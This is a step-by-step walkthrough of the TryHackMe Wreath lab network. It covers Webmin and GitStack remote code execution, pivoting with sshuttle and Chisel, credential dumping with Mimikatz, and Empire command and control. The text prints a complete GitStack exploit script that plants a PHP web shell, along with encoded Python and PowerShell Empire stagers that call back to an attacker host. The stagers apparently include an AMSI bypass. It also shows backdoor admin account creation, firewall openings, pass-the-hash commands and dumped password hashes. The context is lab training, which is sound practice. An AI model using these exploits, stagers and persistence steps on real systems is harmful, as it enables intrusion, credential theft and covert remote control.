Navigating the Wreath Network on TryHackMe: A Step-by-Step Guide
Table of contents
Out of the blue, an old friend from university: Thomas Wreath, calls you after several years of no contact. You spend a few minutes catching up before he reveals the real reason he called:
"So I heard you got into hacking? That's awesome! I have a few servers set up on my home network for my projects, I was wondering if you might like to assess them?"
You take a moment to think about it, before deciding to accept the job -- it's for a friend after all.
Turning down his offer of payment, you tell him: Challenge Accepted
This is a comprehensive guide to the Wreath Network designed by MuirlandOracle on TryHackMe. Reading through this will take approximately 30 minutes, and it will take even longer if you follow along while attempting to complete it. I recommend setting aside some time so you can fully appreciate this content, as it has taught me a great deal about enumeration, exploitation, pivoting, command and control, anti-virus evasion, and data exfiltration.
Without further ado, let's get started.
Webserver Enumeration
As with any penetration test, we need to perform a network scan against our target. Our objective is to determine which services are running, and we hope to identify a potential vulnerability in either the service version or a web server operating with weak security controls.
nmap -sC -sV -Pn -p- wreath.thm --min-rate=1000
Our nmap scan reveals 5 ports, but only 4 are open.
Port 22
: OpenSSH 8.0 [Open]Port 80
: HTTP - Apache httpd 2.4.37 (CentOS) [OPEN]
https://thomaswreath.thm
-- We're going to add this to our /etc/hosts
lists so we can resolve the address.Port 443
: SSL/HTTPS [OPEN]Port 9090
: zeus-admin [CLOSED]Port 10000
: MiniServ 1.890 [OPEN]
Now that we have identified the running services and added the newly discovered domain to our /etc/hosts
list, let's start enumerating the web server directories using ffuf
.
FFUF
Let's start by enumerating https://wreath.thm
and see what we can discover.
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://wreath.thm/FUZZ -fc 302
Unfortunately, this does not return anything. The reason is that the webserver redirects users to https://thomaswreath.thm
. So, with this in mind, let's try enumerating that address instead.
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u https://thomaswreath.thm/FUZZ -fs 15383
Well, this hasn't proven to be very helpful. We didn't obtain anything useful from this scan. So, let's just head over to https://thomaswreath.thm
and conduct some manual reconnaissance.
After exploring the website, we discovered a potentially useful phone number: 447821548812
. We'll jot this down and keep it handy in case we can use it for leverage later on.
Exploiting CVE-2019-1507
After performing a "Google-fu
" search using terms related to MiniServ 1.890
running on Port 10000
, we discovered an exploit that allows us to achieve Remote Code Execution (RCE) on the server.
We can utilize the "WebMin 1.890-expired-remote-root
" exploit found in this GitHub repository: https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE
git clone https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE.git
cd WebMin-1.890-Exploit-unauthorized-RCE
chmod +x webmin-1.890_exploit.py
Syntax:
./webmin-1.890_exploit.py thomaswreath.thm 10000 cat /root/.ssh/id_rsa
By executing this exploit on https://thomaswreath.thm
, we can successfully retrieve the root user's SSH id_rsa
key, allowing us to establish our initial foothold.
From here, we can copy and paste this key into a text file and save it as id_rsa
. Next, perform the following actions to access the box:
chmod 600 id_rsa
ssh -i id_rsa root@10.200.105.200
As evidence that we have obtained root access to the system, we can display the contents of /etc/shadow
by using the 'cat
' command:
Pivoting
Now comes the fun part: performing pivoting to move to another machine and further our access across the network, gradually approaching our primary target - Thomas' PC.
Simple Bash Ping Sweep Script:
for i in {1..255}; do (ping -c 10.200.105.${i} | grep "bytes from" &); done
Simple Bash Port Scan Script:
for i in {1..65535}; do (echo > /dev/tcp/10.200.105.1/$i) >/dev/null 2>&1 && echo $i is open; done
In addition to executing these scripts, we can upload a Netcat
binary to perform the same tasks, potentially achieving better results. From here, we need to upload a static binary, which can be downloaded from this repo: https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap?raw=true
Steps to upload the binary to the target (prod-serv
):
Host Python server from our attack box:
python3 -m http.server 8000
Create
/tmp
directory.Download from the victim box:
curl -L http://<ATTACK_BOX>:8000/nmap --output nmap-reapZ
Make it executable:
chmod +x nmap-reapZ
Scan: ./nmap-reapZ -sn 10.200.105.1-255 -oN scan-reapZ
-- -sn
is used to skip scanning ports and check if hosts are up.
Scan these two newly discovered hosts: 10.200.105.100
and 10.200.105.150
.
./nmap-reapZ -p- -Pn 10.200.105.100 --min-rate=1000
./nmap-reapZ -p- -Pn 10.200.105.150 --min-rate=1000
./nmap-reapZ -T4 -p 1-15000 10.200.105.150
Pivot to GitServer
At this point, we have gathered enough information to start pivoting to the server hosting the development code for the website. To begin, we will connect to the web service running on IP 10.200.105.150
, which we discovered from the internal nmap scan we recently conducted. We will carry this out by using a proxy tool called sshuttle
, which essentially creates a tunnel between our attack box and the web service running on the ".150
" IP address.
Pivot and connect to the service running on 10.200.105.150
using sshuttle
.
Download sshuttle
:
sudo apt install sshuttle
Login using the same ssh key:
sshuttle -r root@10.200.105.200 --ssh-cmd "ssh -i id_rsa" -N &; ps
Service on 10.200.105.150
is gitstack.
Going to http://10.200.105.150/gitstack
brings us to a login panel. The default credentials admin:admin
does not work.
Looking for gitstack
on searchsploit
reveals an RCE for this service:
searchsploit gitstack
Download it:
searchsploit -m php/webapps/43777.py
GitStack (2.3.10) RCE - Code Review
Before reviewing the code, convert the DOS line endings to Linux line endings using either dos2unix ./43777.py
or sed -i 's/\r//' ./43777.py
.
43777.py (GitStack Exploit) Code:
#!/usr/bin/python2
# Exploit: GitStack 2.3.10 Unauthenticated Remote Code Execution
# Date: 18.01.2018
# Software Link: https://gitstack.com/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote
#
#1. Description
#
#$_SERVER['PHP_AUTH_PW'] is directly passed to exec function.
#
#https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html
#
#2. Proof of Concept
#
import requests
from requests.auth import HTTPBasicAuth
import os
import sys
ip = '10.200.105.150'
# What command you want to execute
command = "hostname"
repository = 'rce'
username = 'rce'
password = 'rce'
csrf_token = 'token'
user_list = []
print "[+] Get user list"
try:
r = requests.get("http://{}/rest/user/".format(ip))
user_list = r.json()
user_list.remove('everyone')
except:
pass
if len(user_list) > 0:
username = user_list[0]
print "[+] Found user {}".format(username)
else:
r = requests.post("http://{}/rest/user/".format(ip), data={'username' : username, 'password' : password})
print "[+] Create user"
if not "User created" in r.text and not "User already exist" in r.text:
print "[-] Cannot create user"
os._exit(0)
r = requests.get("http://{}/rest/settings/general/webinterface/".format(ip))
if "true" in r.text:
print "[+] Web repository already enabled"
else:
print "[+] Enable web repository"
r = requests.put("http://{}/rest/settings/general/webinterface/".format(ip), data='{"enabled" : "true"}')
if not "Web interface successfully enabled" in r.text:
print "[-] Cannot enable web interface"
os._exit(0)
print "[+] Get repositories list"
r = requests.get("http://{}/rest/repository/".format(ip))
repository_list = r.json()
if len(repository_list) > 0:
repository = repository_list[0]['name']
print "[+] Found repository {}".format(repository)
else:
print "[+] Create repository"
r = requests.post("http://{}/rest/repository/".format(ip), cookies={'csrftoken' : csrf_token}, data={'name' : repository, 'csrfmiddlewaretoken' : csrf_token})
if not "The repository has been successfully created" in r.text and not "Repository already exist" in r.text:
print "[-] Cannot create repository"
os._exit(0)
print "[+] Add user to repository"
r = requests.post("http://{}/rest/repository/{}/user/{}/".format(ip, repository, username))
if not "added to" in r.text and not "has already" in r.text:
print "[-] Cannot add user to repository"
os._exit(0)
print "[+] Disable access for anyone"
r = requests.delete("http://{}/rest/repository/{}/user/{}/".format(ip, repository, "everyone"))
if not "everyone removed from rce" in r.text and not "not in list" in r.text:
print "[-] Cannot remove access for anyone"
os._exit(0)
print "[+] Create backdoor in PHP"
r = requests.get('http://{}/web/index.php?p={}.git&a=summary'.format(ip, repository), auth=HTTPBasicAuth(username, 'p && echo "<?php system($_POST[\'a\']); ?>" > c:\GitStack\gitphp\exploit-reapZ.php'))
print r.text.encode(sys.stdout.encoding, errors='replace')
print "[+] Execute command"
r = requests.post("http://{}/web/exploit-reapZ.php".format(ip), data={'a' : command})
print r.text.encode(sys.stdout.encoding, errors='replace')
This code is relatively self-explanatory. We only need to focus on this part:
ip = '10.200.105.150'
# What command you want to execute
command = "hostname"
This text specifies the target IP address and the command to be executed on the web server. Once this part is completed, we can begin exploiting the target server.
Exploiting GitServer
With our variables initialized, we can exploit our target http://10.200.105.150
.
Exploit:
./43777.py
Access the shell using:
curl -X POST http://10.200.105.150/web/exploit-reapZ.php -d "a=whoami"
To simplify this process, we can now go to http://10.200.105.150/web/exploit-reapZ.php
and intercept this request with Burp Suite
.
Enable
FoxyProxy
Start BurpSuite and turn
Intercept
on.Refresh the page and catch the request.
Change the request method to
POST
.Add the command variable:
a=whoami
and send torepeater
.Click
Send
to see the response.We can grab the operating system details by typing
systeminfo
.
Can This Server Communicate Externally?
To ensure a reverse shell successfully connects back to our listener, we must verify if the server can communicate externally. This can be achieved by executing tcpdump
on our attacking machine and initiating a ping from the GitServer
.
tcpdump -i tun0 icmp
Change the command in Burp Suite to ping -n 3 <ATTACKBOX IP>
.
Based on these results, the server is unable to communicate externally.
Capture the Shell
First, we need to open a port on the target box. The reason for this is that CentOS
employs a feature called an always-on wrapper
around its IPTables
firewall. This means the firewall will block anything other than SSH and specific services allowed by the system Administrator
. We can modify the permitted ports and enable a reverse shell to connect to our attack box by using this command:
firewall-cmd --zone=public --add-port 15741/tcp
This command enables all inbound connections to the specified port, 15741
, and designates the protocol as TCP.
We can open this port directly within the SSH session we have on prod-serv
.
From here, we want to upload a Netcat
binary, which will allow us to create a listener and capture the reverse shell from the git-serv
machine.
Make sure the Python HTTP Server
is running, and enter the following command in the prod-serv
terminal:
curl -L http://<ATTACK_BOX>:8000/nc --output ./nc-reapZ
Make it executable:
chmod +x nc-reapZ
Now, initiate a listener and intercept the reverse shell transmitted through Burp Suite
.
Encode the payload URL by highlighting the code and pressing CTRL+U
.
Send the command, and the listener should intercept the shell, granting us access to the Windows git-serv
machine.
Stabilization and Post Exploitation
First, we need to create an account for ourselves:
net user reapZ password /add
Then, we want to add our account to the Administrators
and Remote Management Users
groups:
net localgroup Administrators reapZ /add
net localgroup "Remote Management Users" reapZ /add
Verify that the account has been correctly set up by typing:
net user reapZ
The account is now set up and ready for us to use, ensuring stable access when logging in. Let's proceed to log in using Evil-WinRM
.
Install:
sudo gem install evil-winrm
evil-winrm -u reapZ -p password -i 10.200.105.150
Let's also set up a GUI RDP using xfreerdp
.
Install:
sudo apt install freerdp2-x11
xfreerdp /v:10.200.105.150 /u:reapZ /p:password +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,share
v
= hostu
= usernamep
= password+clipboard
= enables clipboard supportdynamic-resolution
= makes it possible to resize the window with the respective resolution/drive:/usr/share/windows-resources,share
= creates a shared drive between our attack box and the target
Now, we can utilize Mimikatz
to extract the local account password hashes from the git-serv
machine. Let's launch PowerShell as an Administrator
.
Run the following command to start Mimikatz
:
\\tsclient\share\mimikatz\x64\mimikatz.exe
Next, we aim to grant ourselves Debug Privileges
and elevate our integrity level to SYSTEM
.
privilege::debug
token::elevate
Now dump all the SAM
local password hashes:
lsadump::sam
mimikatz # lsadump::sam
Domain : GIT-SERV
SysKey : 0841f6354f4b96d21b99345d07b66571
Local SID : S-1-5-21-3335744492-1614955177-2693036043
SAMKey : f4a3c96f8149df966517ec3554632cf4
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 37db630168e5f82aafa8461e05c6bbd1
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 68b1608793104cca229de9f1dfb6fbae
* Primary:Kerberos-Newer-Keys *
Default Salt : WIN-1696O63F791Administrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 8f7590c29ffc78998884823b1abbc05e6102a6e86a3ada9040e4f3dcb1a02955
aes128_hmac (4096) : 503dd1f25a0baa75791854a6cfbcd402
des_cbc_md5 (4096) : e3915234101c6b75
* Packages *
NTLM-Strong-NTOWF
* Primary:Kerberos *
Default Salt : WIN-1696O63F791Administrator
Credentials
des_cbc_md5 : e3915234101c6b75
RID : 000001f5 (501)
User : Guest
RID : 000001f7 (503)
User : DefaultAccount
RID : 000001f8 (504)
User : WDAGUtilityAccount
Hash NTLM: c70854ba88fb4a9c56111facebdf3c36
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : e389f51da73551518c3c2096c0720233
* Primary:Kerberos-Newer-Keys *
Default Salt : WDAGUtilityAccount
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 1d916df8ca449782c73dbaeaa060e0785364cf17c18c7ff6c739ceb1d7fdf899
aes128_hmac (4096) : 33ee2dbd44efec4add81815442085ffb
des_cbc_md5 (4096) : b6f1bac2346d9e2c
* Packages *
NTLM-Strong-NTOWF
* Primary:Kerberos *
Default Salt : WDAGUtilityAccount
Credentials
des_cbc_md5 : b6f1bac2346d9e2c
RID : 000003e9 (1001)
User : Thomas
Hash NTLM: [REDACTED]
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 03126107c740a83797806c207553cef7
* Primary:Kerberos-Newer-Keys *
Default Salt : GIT-SERVThomas
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 19e69e20a0be21ca1befdc0556b97733c6ac74292ab3be93515786d679de97fe
aes128_hmac (4096) : 1fa6575936e4baef3b69cd52ba16cc69
des_cbc_md5 (4096) : e5add55e76751fbc
OldCredentials
aes256_hmac (4096) : 9310bacdfd5d7d5a066adbb4b39bc8ad59134c3b6160d8cd0f6e89bec71d05d2
aes128_hmac (4096) : 959e87d2ba63409b31693e8c6d34eb55
des_cbc_md5 (4096) : 7f16a47cef890b3b
* Packages *
NTLM-Strong-NTOWF
* Primary:Kerberos *
Default Salt : GIT-SERVThomas
Credentials
des_cbc_md5 : e5add55e76751fbc
OldCredentials
des_cbc_md5 : 7f16a47cef890b3b
RID : 000003ea (1002)
User : reapZ
Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : d4251486b0c24a7e69c63c36a5a824f9
* Primary:Kerberos-Newer-Keys *
Default Salt : GIT-SERVreapZ
Default Iterations : 4096
Credentials
aes256_hmac (4096) : c7af09e3f5441bca9e1b43f604233000b41c1772f565a15eee442035119a9bd2
aes128_hmac (4096) : 2750cf795dbeee3199befd2718f34b91
des_cbc_md5 (4096) : 6b8f61e038377991
* Packages *
NTLM-Strong-NTOWF
* Primary:Kerberos *
Default Salt : GIT-SERVreapZ
Credentials
des_cbc_md5 : 6b8f61e038377991
Let's obtain the NTLM hash
for Thomas and practice decrypting it using CrackStation.
From here, we need to carry out a pass-the-hash attack
using the Administrator
hash obtained from Mimikatz
. To do this, we must copy the hash and execute it on our attack box.
evil-winrm -u Administrator -H <NTLM_HASH> -i 10.200.105.150
Setting Up Empire (C2)
Now that we've gained a foothold, let's establish our command and control server to efficiently manage our agents. We will be using a combination of Empire
and Starkiller
to accomplish this task. For the majority of the walkthrough in this part, we will be utilizing the CLI, as it's easier for me to manage.
Install:
sudo apt install powershell-empire starkiller
Start Empire
server:
sudo powershell-empire server
Initialize Empire
client:
powershell-empire client
Login to the Starkiller
panel with default credentials: empireadmin:password123
http://localhost:1337/index.html
Main page:
Create the Listener
We need to choose a listener to establish a connection with our stagers. From the client CLI, type:
uselistener http
set Name CLIHTTP
set Host 10.50.106.231
set Port 8000
execute
Verify that it is running by entering:
listeners
Excellent, it's running. We can also observe it being displayed in Starkiller
.
Create the Stager
Stagers are utilized to establish a connection back to our listener, creating an Agent
upon execution.
Display available usestager
options:
usestager
Select multi/bash
:
usestager multi/bash
Set the listener to the one we previously defined: CLIHTTP
set Listener CLIHTTP
execute
Once more, we can verify that our stager has been configured in Starkiller
:
For now, we will copy the payload and save it as stager.sh
for future use.
Initializing Our Agent
It's time to initialize our Agent
. We will start by copying our payload to the prod-serv
.
ssh -i id_rsa root@10.200.105.200
Copy, paste, and execute the stager.sh
payload:
echo "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5czsKaW1wb3J0IHJlLCBzdWJwcm9jZXNzOwpjbWQgPSAicHMgLWVmIHwgZ3JlcCBMaXR0bGVcIFNuaXRjaCB8IGdyZXAgLXYgZ3JlcCIKcHMgPSBzdWJwcm9jZXNzLlBvcGVuKGNtZCwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKb3V0LCBlcnIgPSBwcy5jb21tdW5pY2F0ZSgpOwppZiByZS5zZWFyY2goIkxpdHRsZSBTbml0Y2giLCBvdXQuZGVjb2RlKCdVVEYtOCcpKToKICAgc3lzLmV4aXQoKTsKCmltcG9ydCB1cmxsaWIucmVxdWVzdDsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMC41MC4xMDYuMjMxOjgwMDAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7CnJlcT11cmxsaWIucmVxdWVzdC5SZXF1ZXN0KHNlcnZlcit0KTsKcHJveHkgPSB1cmxsaWIucmVxdWVzdC5Qcm94eUhhbmRsZXIoKTsKbyA9IHVybGxpYi5yZXF1ZXN0LmJ1aWxkX29wZW5lcihwcm94eSk7Cm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JyxVQSksICgiQ29va2llIiwgInNlc3Npb249NGlMN3pzVDFGRkdldXoySnhaZUc4MzJTTUZVPSIpXTsKdXJsbGliLnJlcXVlc3QuaW5zdGFsbF9vcGVuZXIobyk7CmE9dXJsbGliLnJlcXVlc3QudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdOwpkYXRhPWFbNDpdOwprZXk9SVYrJztGVDI2cG4sP2omLnY4fkpzcm8oS2hBQl9ILzo8LTliJy5lbmNvZGUoJ1VURi04Jyk7ClMsaixvdXQ9bGlzdChyYW5nZSgyNTYpKSwwLFtdOwpmb3IgaSBpbiBsaXN0KHJhbmdlKDI1NikpOgogICAgaj0oaitTW2ldK2tleVtpJWxlbihrZXkpXSklMjU2OwogICAgU1tpXSxTW2pdPVNbal0sU1tpXTsKaT1qPTA7CmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NjsKICAgIGo9KGorU1tpXSklMjU2OwogICAgU1tpXSxTW2pdPVNbal0sU1tpXTsKICAgIG91dC5hcHBlbmQoY2hyKGNoYXJeU1soU1tpXStTW2pdKSUyNTZdKSk7CmV4ZWMoJycuam9pbihvdXQpKTs='));" | python3 &
Ensure that either Empire
or Starkiller
has received the callback.
Let's engage with the Agent
by typing:
interact LQO71Q2O
Run whoami
to see who we are:
We will terminate our agent for now and revisit it later.
kill LQO71Q2O
Setup a Callback from GitServer
So, we need to figure out a way to get the GitServer hosting the development site to call back to us. Unfortunately, the server doesn't communicate externally, so we can't easily just throw a netcat
binary at it and connect it back to our attack box. We'll need to connect to it via a proxy, which is where a Hop Listener comes into play.
Hop Listeners are essential when an agent cannot call back under normal circumstances. By using this type of listener, we essentially create files to be transferred to our compromised jump server
and hosted from there. These are .php
files containing instructions to call back to our HTTP
listener, eliminating the need to open a port on the compromised machine.
Start listener in Empire
:
uselistener http_hop
Set RedirectListener
to our previously defined Listener:
set RedirectListener CLIHTTP
Set Host
to git-prod
webserver:
set Host 10.200.105.200
Set Port
:
set Port 47000
Verify it's set:
execute
This essentially generates various .php
files in the specified http_hop
directory located in the /tmp
folder on our attacking machine.
We will need to replicate this file structure on our jump server
for this to function properly.
Callback from http_hop Listener
Now it's time to configure our stager to receive a callback from our http_hop
listener.
Select stager:
usestager multi_launcher
Set Listener to http_hop
:
use Listener http_hop
execute
Configure the jump server
:
mkdir /tmp/hop-reapZ
cd /tmp/hop-reapZ
Zip up the contents from /tmp/http_hop
from our attack box and transfer it to prod-serv
by typing:
cd /tmp/http_hop && zip -r hop.zip *
curl http://10.50.106.231:8001/hop.zip --output hop.zip
Unzip the contents:
unzip hop.zip
Now serve a PHP
server with these files:
php -S 0.0.0.0:47000 &>/dev/null &
Verify that it is running by typing:
ss -tulwn | grep 47000
Ensure that port 47000
is open in the firewall:
firewall-cmd --zone=public --add-port 47000/tcp
Now, copy the PowerShell stager to your Burp Suite
session, URL encode it by pressing Ctrl + U
, and then send it:
powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAJABSAGUAZgA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAOwAkAFIAZQBmAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdAB2AGEAbAB1AGUAKAAkAE4AdQBsAGwALAAkAHQAcgB1AGUAKQA7AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgBHAGUAdABGAGkAZQBsAGQAKAAnAG0AXwBlAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4AUABTAEUAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcgAnACkALgBHAGUAdABGAGkAZQBsAGQAKAAnAGUAdAB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMAApADsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAAcgBvAHgAeQA9AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARABlAGYAYQB1AGwAdABXAGUAYgBQAHIAbwB4AHkAOwAkAHcAYwAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AE4AZQB0AHcAbwByAGsAQwByAGUAZABlAG4AdABpAGEAbABzADsAJABLAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AHQAZQBzACgAJwA7AEYAVAAyADYAcABuACwAPwBqACYALgB2ADgAfgBKAHMAcgBvACgASwBoAEEAQgBfAEgALwA6ADwALQA5AGIAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBuAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgB4AG8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHMAZQBzAHMAaQBvAG4APQBBAC8AUgBnAFMAZwBhAFYAVwBEAG4AdgBjADEALwBZAEUANAA2AHcAYgA2ADQAZQB0AHgAawA9ACIAKQA7ACQAcwBlAHIAPQAkACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBMAGcAQQB5AEEARABBAEEATQBBAEEAdQBBAEQARQBBAE0AQQBBADEAQQBDADQAQQBNAGcAQQB3AEEARABBAEEATwBnAEEAMABBAEQAYwBBAE0AQQBBAHcAQQBEAEEAQQAnACkAKQApADsAJAB0AD0AJwAvAG4AZQB3AHMALgBwAGgAcAAnADsAJABoAG8AcAA9ACcAaAB0AHQAcABfAGgAbwBwACcAOwAkAGQAYQB0AGEAPQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABzAGUAcgArACQAdAApADsAJABpAHYAPQAkAGQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQB0AGEAPQAkAGQAYQB0AGEAWwA0AC4ALgAkAGQAYQB0AGEALgBsAGUAbgBnAHQAaABdADsALQBqAG8AaQBuAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
Return to Empire
and confirm that we have received the new Agent
.
Enumerate GitServer
Perfect, we have established a connection with GitServer. We need to enumerate, but we cannot use Nmap
since installing it would trigger the anti-virus. We also can't run a scan through the proxy because we are tunneled through two of them. Therefore, we need to examine Empire
and determine which modules are available for us to use. After all, they are PowerShell scripts, and we have PowerShell capability on GitServer. However, as a proof of concept, we will upload a Netcat
binary via Evil-WinRM
.
From Evil-WinRM
:
upload /Transfers/ncat.exe C:\Windows\Temp\nc-reapZ.exe
which nc
Easy. However, this method will be conspicuous and might be detected, as it requires writing to the disk. Instead, let's use a script integrated into Empire
, which will run in memory and have a lower likelihood of detection.
evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i 10.200.105.150 -s /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/
Invoke-Portscan.ps1
Invoke-Portscan -Hosts 10.200.105.150 -TopPorts 50
Pivoting
As we did previously, we need to find a method to forward the port on GitServer, allowing us access to Thomas' development website. We can utilize the Chisel
tool to establish a forward proxy.
First, we need to open a port in the Windows Firewall:
netsh advfirewall firewall add rule name="Chisel-reapZ" dir=in action=allow protocol=tcp localport=45000
Setup Chisel
:
Download Binary (Windows 386 - v1.7.5
): https://github.com/jpillora/chisel/releases
Unzip:
gunzip chisel_1.7.5_windows_386.gz
Rename:
mv chisel_1.7.5_windows_386.gz chisel-reapZ.exe
Upload via Evil-WinRM
:
upload /Transfers/chisel-reapZ.exe C:\Windows\Temp\chisel-reapZ.exe
Initialize the Chisel Server
on Thomas's PC:
.\chisel-reapZ.exe server -p 45000 --socks5
Initialize the Chisel Client
on our attack box:
chisel client 10.200.105.150:45000 9090:socks
Ensure you have FoxyProxy
configured and enabled:
If everything has been set up correctly, we should be able to access the development site at http://10.200.105.100
.
Wappalyzer Results:
Extracting Data from Git
It's time to compare the development site with the live production site. We will download the .git
repository from the git-serv
and reassemble it on our attack machine for analysis.
Location of .git
repository:
C:\GitStack\repositories\Website.git
Download using Evil-WinRM
:
download C:\GitStack\repositories\Website.git
Next, we aim to reconstruct the website. We can utilize a tool called GitTools
for this purpose. Essentially, this tool takes the repository and converts it into a readable format, allowing us to work with it more effectively.
cd
into /Website.git
and download GitTools
into it:
git clone https://github.com/internetwache/GitTools
GitTools/Extractor/extractor.sh . Website
Each of these directories corresponds to a previous commit. Unfortunately, they are not sorted by date, so we need to find a method to arrange them accordingly.
We can use a bash one-liner for this:
